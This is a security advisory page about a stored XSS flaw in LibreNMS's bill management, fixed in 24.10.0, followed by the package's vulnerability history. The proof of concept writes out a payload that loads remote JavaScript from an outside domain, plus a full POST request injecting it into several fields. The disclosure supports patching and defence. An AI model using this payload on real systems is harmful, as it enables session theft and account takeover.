Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/edituser.inc.php
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Manage User Access" page allows authenticated users to inject arbitrary JavaScript through the "bill_name" parameter when creating a new bill. This vulnerability can lead to the execution of malicious code when visiting the "Bill Access" dropdown in the user's "Manage Access" page, potentially compromising user sessions and allowing unauthorized actions.
Details
When creating a new bill, an attacker can inject the following XSS payload into the "bill_name" parameter:
test1'"><script/src=//15.rs>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers in the "Bill Access" dropdown when the user's "Manage Access" page is visited. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/edituser.inc.php#L309
PoC
- Create a new bill using the following payload in the "bill_name" parameter:
test1'"><script/src=//15.rs> - Save the bill.
- Navigate to the "Manage Access" page for the user.
- Observe that the injected script executes in the "Bill Access" dropdown.
Example Request:
POST /bill/bill_id=2/view=edit/ HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>
_token=<your_token>&action=update_bill&bill_name=test1%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&bill_type=cdr&bill_cdr=&bill_cdr_type=Kbps&dir_95th=in&bill_quota=&bill_quota_type=MB&bill_day=1&bill_custid=test2%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&bill_ref=test3%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&bill_notes=test4%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&Submit=SaveImpact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Manage Access" page. The attacker can perform unauthorized actions or compromise user accounts by exploiting this vulnerability.
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| Composer package | librenms/librenms | < 24.10.0 | 24.10.0 |
References
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L- Weakness (CWE)
CWE-79- Platform
- Composer
- Package
librenms/librenms- Disclosed
- 15.11.2024
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-888j-pjqh-fx58 - CC BY 4.0
Vulnerability history: librenms/librenms
All published vulnerabilities of this package (Composer package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 106
- First → latest
- 10.2019 08.2026
- Without a fix
- 6
- Exploited in attacks
- 0
Severity breakdown
- Critical 5
- High 39
- Medium 56
- Low 6
Disclosures per year
- 2019: 6
- 2020: 0
- 2021: 7
- 2022: 26
- 2023: 12
- 2024: 24
- 2025: 15
- 2026: 16
-
Stored XSS ('Cross-site Scripting') in librenms/includes/html/pages/edituser.inc.php this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.